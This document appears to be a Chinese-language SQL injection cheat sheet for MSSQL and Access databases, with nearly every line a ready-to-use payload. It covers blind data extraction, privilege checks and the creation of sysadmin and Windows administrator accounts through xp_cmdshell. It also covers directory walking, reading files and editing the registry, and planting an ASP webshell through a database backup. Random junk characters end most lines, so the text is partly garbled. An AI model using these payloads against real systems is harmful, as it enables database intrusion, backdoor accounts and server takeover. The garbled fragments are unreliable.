1.判断是否有注入;and 1=1 ;and 1=2 bWswF<y-
2.初步判断是否是mssql ;and user>0 v"bWVc~H
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3.注入参数是字符'and [查询条件] and ''=' ,"%C.9a
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Ma^jy.
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5.判断数据库系统 4era5=
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;and (select count(*) from sysobjects)>0 mssql YJJ1N/Z1
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;and (select count(*) from msysobjects)>0 access "Oxr}^% i
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 \<LCp;- K
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Nm*(?1
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 eHphM;C
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9.(1)猜字段的ascii值(access) 11H`WOTQF
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 :R;w<Tbz"
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(2)猜字段的ascii值(mssql) P3zUaN\c
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ewMVUq*:
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10.测试权限结构(mssql) 37U8<
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7H7
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- [EAOk=X
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- bfxE}>
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- "Lp.*o
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ng1E'c]0@
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- "- 4|HA
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;and 1=(select IS_MEMBER('db_owner'));-- x@-K
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11.添加mssql和系统的帐户 Etz#+R&*
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;exec master.dbo.sp_addlogin username;-- )PYPlSQ*V
;exec master.dbo.sp_password null,username,password;-- y,D9O/VP
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- (m/:B=K
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;exec master.dbo.xp_cmdshell 'net user username password K9<8FSn
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- (XZ[-M7
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- _J,**AZ~z
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- E?w#$HS
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12.(1)遍历目录 t^#1=nK
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;create table dirs(paths varchar(100), id int) 579Q&|L.
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;insert dirs exec master.dbo.xp_dirtree 'c:\' <a R
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;and (select top 1 paths from dirs)>0 _}{KS, f]0
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 1mFH7A($
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(2)遍历目录 \mb4leg5
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 8lk/*/} =<
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 re/-Yu$'
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Xu{y5N
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 =ejcP&-V/
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
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13.mssql中的存储过程 MWwqon|
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xp_regenumvalues 注册表根键, 子键 G4
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 9SC1A -nF
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xp_regread 根键,子键,键值名 (?Ku-k
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;exec xp_regread -x?Z2EA!
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 JuJW]E Q
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xp_regwrite 根键,子键, 值名, 值类型, 值 )CXlPbhY?
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 yzEyOz@Q
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Zbo4{.#
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xp_regdeletevalue 根键,子键,值名 p5]W2i.,
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 <EnmH/C.
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 U&"L9o`2
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14.mssql的backup创建webshell P$'PB*5d|
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use model CC^D4]ug
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create table cmd(str image);
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insert into cmd(str) values (''); t__f=QB/
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backup database model to disk='c:\l.asp';
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15.mssql内置函数 <.`i,|?MHS
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;and (select @@version)>0 获得Windows的版本号 J_F\cM
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa {GtX:v#
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;and (select user_name())>0 爆当前系统的连接用户 "OwM'
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;and (select db_name())>0 得到当前连接的数据库 |kmP#`P~
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16.简洁的webshell H@- GYX"4
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use model M8lw;
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create table cmd(str image); l_k:OZ
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insert into cmd(str) values (''); Q'U!
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backup database model to disk='g:\wwwtest\l.asp';